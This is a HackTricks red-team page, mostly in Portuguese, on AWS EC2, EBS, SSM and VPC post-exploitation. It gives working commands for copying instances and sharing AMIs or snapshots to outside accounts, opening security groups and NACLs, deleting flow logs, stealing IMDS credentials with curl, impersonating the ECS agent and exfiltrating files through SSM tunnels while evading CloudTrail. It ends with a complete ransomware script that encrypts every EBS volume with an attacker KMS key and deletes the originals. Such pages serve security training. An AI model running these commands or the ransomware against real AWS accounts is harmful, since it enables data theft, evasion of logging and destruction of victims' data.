AWS - EC2, EBS, SSM & VPC Post Exploitation

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

EC2 & VPC

Para mais informações, veja:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring duplica o tráfego de entrada e saída para EC2 instances dentro de uma VPC sem a necessidade de instalar nada nas próprias instâncias.
Esse tráfego duplicado normalmente seria enviado para algo como um network intrusion detection system (IDS) para análise e monitoramento.
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele:

Para mais informações, confira esta página:

AWS - Malicious VPC Mirror

Copy Running Instance

Instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessar isso (check EC2 privilege escalation tricks). No entanto, outra forma de verificar o que ela contém é criar uma AMI e executar uma nova instância (mesmo em sua própria conta) a partir dela:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

Dump de Snapshot do EBS

Snapshots são backups de volumes, que geralmente contêm informações sensíveis, portanto verificá-los deve revelar essas informações.
Se você encontrar um volume sem snapshot você poderia: Criar um snapshot e executar as seguintes ações ou simplesmente montá-lo em uma instância dentro da conta:

AWS - EBS Snapshot Dump

Exfiltração oculta de disco via AMI Store-to-S3

Exporte um EC2 AMI diretamente para o S3 usando CreateStoreImageTask para obter uma imagem de disco raw sem compartilhamento de snapshots. Isso permite forense offline completa ou roubo de dados enquanto deixa a rede da instância inalterada.

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Roubo de dados em tempo real via EBS Multi-Attach

Anexe um volume io1/io2 com Multi-Attach a uma segunda instância e monte-o como read-only para extrair dados ao vivo sem snapshots. Útil quando o volume da vítima já tem Multi-Attach habilitado na mesma AZ.

AWS - Live Data Theft via EBS Multi-Attach

Backdoor do EC2 Instance Connect Endpoint

Crie um EC2 Instance Connect Endpoint, autorize ingress e injete chaves SSH efêmeras para acessar instâncias privadas por um túnel gerenciado. Concede caminhos rápidos de movimento lateral sem abrir portas públicas.

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

Sequestro do IP privado secundário de ENI do EC2

Mova o IP privado secundário de uma ENI vítima para uma ENI controlada pelo atacante para se passar por hosts confiáveis que estão permitidos por IP. Permite contornar ACLs internas ou regras de SG vinculadas a endereços específicos.

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Sequestro de Elastic IP para falsificação de tráfego de entrada/saída

Reassocie um Elastic IP da instância vítima para o atacante para interceptar tráfego inbound ou originar conexões outbound que aparentam vir de IPs públicos confiáveis.

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Backdoor em Security Group via Managed Prefix Lists

Se uma regra de security group referencia uma customer-managed prefix list, adicionar CIDRs do atacante à lista expande silenciosamente o acesso por todas as regras de SG dependentes sem modificar o SG em si.

AWS - Security Group Backdoor via Managed Prefix Lists

Contorno de egress com VPC Endpoint

Crie VPC endpoints do tipo gateway ou interface para recuperar acesso outbound de subnets isoladas. Aproveitar private links gerenciados pela AWS contorna controles IGW/NAT ausentes para exfiltração de dados.

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

Um atacante com a permissão ec2:AuthorizeSecurityGroupIngress pode adicionar regras inbound a security groups (por exemplo, permitindo tcp:80 a partir de 0.0.0.0/0), expondo assim serviços internos à Internet pública ou a redes não autorizadas.

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

Um atacante com permissões ec2:ReplaceNetworkAclEntry (ou similares) pode modificar os Network ACLs (NACLs) de uma subnet para torná-los muito permissivos — por exemplo permitindo 0.0.0.0/0 em portas críticas — expondo todo o intervalo da subnet para a Internet ou para segmentos de rede não autorizados. Ao contrário dos Security Groups, que são aplicados por instância, os NACLs são aplicados no nível da subnet, então alterar um NACL restritivo pode ter um raio de impacto muito maior ao habilitar acesso a muito mais hosts.

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

Um atacante com permissões ec2:Delete* e iam:Remove* pode excluir recursos e configurações críticas de infraestrutura — por exemplo key pairs, launch templates/versions, AMIs/snapshots, volumes ou attachments, security groups ou regras, ENIs/network endpoints, route tables, gateways, ou managed endpoints. Isso pode causar interrupção imediata do serviço, perda de dados e perda de evidências forenses.

Um exemplo é excluir um security group:

aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>

VPC Flow Logs Exfiltração entre contas

Aponte VPC Flow Logs para um bucket S3 controlado pelo atacante para coletar continuamente metadados de rede (origem/destino, portas) fora da conta da vítima para reconhecimento de longo prazo.

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Exfiltração de Dados

Exfiltração via DNS

Mesmo se você bloquear uma EC2 para que nenhum tráfego saia, ela ainda pode exfiltrar via DNS.

  • VPC Flow Logs não registrará isso.
  • Você não tem acesso aos logs DNS da AWS.
  • Desative isso definindo “enableDnsSupport” como false com:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltração via chamadas de API

Um atacante poderia chamar endpoints de API de uma conta controlada por ele. Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.

Security Group aberto

Você poderia obter acesso adicional a serviços de rede abrindo portas assim:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

É possível executar uma instância EC2 e registrá-la para ser usada para rodar instâncias ECS e então roubar os dados das instâncias ECS.

For more information check this.

ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)

Em ECS com o launch type EC2, o control plane assume cada task role e envia as credenciais temporárias para o ECS agent pelo canal WebSocket do Agent Communication Service (ACS). O agent então fornece essas credenciais aos containers via o task metadata endpoint (169.254.170.2). A pesquisa ECScape mostra que, se um container consegue acessar o IMDS e roubar o instance profile, ele pode impersonatear o agent via ACS e receber todas as credenciais de task role naquele host, incluindo credenciais de task execution role que não são expostas pelo metadata endpoint.

Attack chain

  1. Steal the container instance role from IMDS. IMDS access is required to obtain the host role used by the ECS agent.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
  1. Discover the ACS poll endpoint and required identifiers. Using the instance role credentials, call ecs:DiscoverPollEndpoint to obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed) ecs:ListContainerInstances.
  2. Impersonate the ECS agent over ACS. Initiate a SigV4-signed WebSocket to the poll endpoint and include sendCredentials=true. ECS accepts the connection as a valid agent session and begins streaming IamRoleCredentials messages for all tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access.

Encontre o PoC em https://github.com/naorhaziz/ecscape

IMDS reachability with IMDSv2 + hop limit 1

Configurar IMDSv2 com HttpTokens=required e HttpPutResponseHopLimit=1 apenas bloqueia tasks que vivem por trás de um salto extra (Docker bridge). Outros modos de rede permanecem dentro de um salto do Nitro controller e continuam a receber respostas:

ECS network modeIMDS reachable?Reason
awsvpcCada task recebe sua própria ENI que ainda está a um salto do IMDS, então tokens e respostas de metadata chegam com sucesso.
hostAs tasks compartilham o namespace do host, então veem a mesma distância em saltos que a instância EC2.
bridgeAs respostas morrem na Docker bridge porque esse salto extra esgota o hop limit.

Therefore, never assume hop limit 1 protects awsvpc or host-mode workloads—always test from inside your containers.

Detecting IMDS blocks per network mode

  • awsvpc tasks: Security groups, NACLs, or routing tweaks cannot block the link-local 169.254.169.254 address because Nitro injects it on-host. Check /etc/ecs/ecs.config for ECS_AWSVPC_BLOCK_IMDS=true. If the flag is missing (default) you can curl IMDS directly from the task. If it is set, pivot into the host/agent namespace to flip it back or execute your tooling outside awsvpc.

  • bridge mode: When metadata requests fail even though hop limit 1 is configured, defenders probably inserted a DOCKER-USER drop rule such as --in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Listing iptables -S DOCKER-USER exposes it, and root access lets you delete or reorder the rule before querying IMDS.

  • host mode: Inspect the agent configuration for ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. That setting removes task IAM roles entirely, so you must either re-enable it, move to awsvpc tasks, or steal credentials through another process on the host. When the value is true (default), every host-mode process—including compromised containers—can hit IMDS unless bespoke eBPF/cgroup filters target 169.254.169.254; look for tc/eBPF programs or iptables rules referencing that address.

Latacora even released Terraform validation code you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.

Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster.

Remover VPC flow logs

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Permissões necessárias:

  • ssm:StartSession

Além da execução de comandos, o SSM permite tunelamento de tráfego que pode ser abusado para pivotar a partir de instâncias EC2 que não têm acesso à rede devido a Security Groups ou NACLs. Um dos cenários em que isso é útil é pivotar de um Bastion Host para um cluster EKS privado.

Para iniciar uma sessão, é necessário ter o SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. Instale o SessionManagerPlugin na sua máquina
  2. Faça login no Bastion EC2 usando o seguinte comando:
aws ssm start-session --target "$INSTANCE_ID"
  1. Obtenha as credenciais temporárias do Bastion EC2 da AWS com o Abusing SSRF in AWS EC2 environment script
  2. Transfira as credenciais para sua máquina no arquivo $HOME/.aws/credentials como o perfil [bastion-ec2]
  3. Faça login no EKS como o Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. Atualize o campo server no arquivo $HOME/.kube/config para apontar para https://localhost
  2. Crie um túnel SSM da seguinte forma:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. O tráfego da ferramenta kubectl agora é encaminhado através do SSM tunnel via o Bastion EC2 e você pode acessar o cluster EKS privado da sua própria máquina executando:
kubectl get pods --insecure-skip-tls-verify

Observe que as conexões SSL falharão a menos que você defina a flag --insecure-skip-tls-verify (ou seu equivalente em ferramentas de auditoria K8s). Como o tráfego é tunelado pelo túnel seguro AWS SSM, você está protegido contra qualquer tipo de ataques MitM.

Finalmente, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrárias para pivot para qualquer outro serviço AWS ou uma aplicação customizada.


Rápido Local ↔️ Remoto Port Forward (AWS-StartPortForwardingSession)

Se você só precisa encaminhar uma porta TCP do EC2 para sua máquina local você pode usar o documento SSM AWS-StartPortForwardingSession (nenhum parâmetro de host remoto é necessário):

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

O comando estabelece um túnel bidirecional entre sua estação de trabalho (localPortNumber) e a porta selecionada (portNumber) na instância sem abrir quaisquer regras de Security-Group de entrada.

Casos de uso comuns:

  • File exfiltration
  1. Na instância, inicie um servidor HTTP rápido que aponte para o diretório que você quer exfiltrate:
python3 -m http.server 8000
  1. Da sua estação de trabalho, recupere os arquivos através do túnel SSM:
curl http://localhost:8000/loot.txt -o loot.txt
  • Acessando aplicações web internas (ex.: Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

Dica: compacte e criptografe as evidências antes de exfiltrá-las para que o CloudTrail não registre o conteúdo em texto não criptografado:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

Compartilhar AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Buscar informações sensíveis em AMIs públicas e privadas

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel é uma ferramenta projetada para buscar informações sensíveis em Amazon Machine Images (AMIs) públicas ou privadas. Automatiza o processo de inicializar instâncias a partir das AMIs alvo, montar seus volumes e escanear em busca de possíveis secrets ou dados sensíveis.

Compartilhar EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Um proof of concept semelhante à demonstração de Ransomware demonstrada nas notas de S3 post-exploitation. KMS deveria ser renomeado para RMS para Ransomware Management Service, dada a facilidade de usá-lo para criptografar vários serviços AWS.

First from an ‘attacker’ AWS account, create a customer managed key in KMS. For this example we’ll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS’ control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account’s name was ‘AttackSim’ and the policy rule allowing all access is called ‘Outside Encryption’

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

A regra da key policy precisa do seguinte habilitado para permitir que ela seja usada para criptografar um volume EBS:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

Now with the publicly accessible key to use. Podemos usar uma conta ‘victim’ que tenha algumas instâncias EC2 spun up com volumes EBS unencrypted anexados. Os volumes EBS dessa conta ‘victim’ são o que estamos targeting para criptografia; este ataque é feito sob o pressuposto de breach de uma conta AWS de alto privilégio.

Pasted image 20231231172655 Pasted image 20231231172734

Similar to the S3 ransomware example. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a key publicamente disponível da conta ‘attacker’ para criptografar os novos volumes EBS, então desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e então finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. Pasted image 20231231173130

Isso resulta em apenas volumes EBS criptografados disponíveis na conta.

Pasted image 20231231173338

Também vale notar que o script parou as instâncias EC2 para desanexar e excluir os volumes EBS originais. Os volumes originais não criptografados sumiram agora.

Pasted image 20231231173931

Em seguida, retorne à key policy na conta ‘attacker’ e remova a regra de policy ‘Outside Encryption’ da key policy.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Aguarde um momento para que a key policy recém-definida seja propagada. Em seguida, retorne para a conta ‘victim’ e tente anexar um dos EBS volumes recém-encriptados. Você verá que consegue anexar o volume.

Pasted image 20231231174131 Pasted image 20231231174258

Mas quando você tentar realmente iniciar a instância EC2 com o EBS volume encriptado, isso apenas falhará e a instância passará do estado ‘pending’ de volta para o estado ‘stopped’ indefinidamente, já que o EBS volume anexado não pode ser descriptografado usando a chave, pois a key policy não permite mais.

Pasted image 20231231174322 Pasted image 20231231174352

Este é o python script usado. Ele recebe AWS creds para uma conta ‘victim’ e um valor ARN público da AWS para a key que será usada na encriptação. O script fará cópias encriptadas de TODOS os EBS volumes disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, então irá parar todas as instâncias EC2, desanexar os EBS volumes originais, deletá-los e, por fim, deletar todos os snapshots utilizados durante o processo. Isso deixará apenas EBS volumes encriptados na conta ‘victim’ alvo. USE ESTE SCRIPT SOMENTE EM UM AMBIENTE DE TESTE, ELE É DESTRUTIVO E DELETARÁ TODOS OS EBS VOLUMES ORIGINAIS. Você pode recuperá-los usando a KMS key utilizada e restaurá-los ao estado original via snapshots, mas queria apenas alertar que, no fim das contas, isto é um ransomware PoC.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks